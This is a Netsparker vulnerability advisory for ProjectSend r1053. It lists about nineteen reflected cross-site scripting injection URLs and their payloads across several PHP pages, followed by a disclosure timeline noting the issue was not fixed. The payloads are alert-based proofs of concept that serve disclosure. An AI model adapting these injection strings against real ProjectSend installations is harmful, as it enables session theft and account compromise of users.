Information
--------------------
Advisory by Netsparker
Name: Reflected Cross-site Scripting Vulnerabilities in ProjectSend r1053
Affected Software: ProjectSend
Affected Versions: r1053
Homepage: https://www.projectsend.org/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-061

Technical Details
--------------------

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00773F)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: '"--></style></scRipt><scRipt>alert(0x00773F)</scRipt>=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?select_all=3&batch%5b%5d=4969&page=x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22&action=none
Parameter Name: page
Parameter Type: GET
Attack Patern: x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E
Parameter Name:  Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?action=edit&id=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E
Parameter Name: id
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00BB7B)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: '"--></style></scRipt><scRipt>alert(0x00BB7B)</scRipt>=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22
Parameter Name: page
Parameter Type: GET
Attack Patern: x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsext
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27=&action=none&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?client=Smith&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27=&search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Patern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

21th December 2018- First Contact
31st January 2019 - Details Sent
20th February 2019 - Last Attempt to Contact
4th March 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.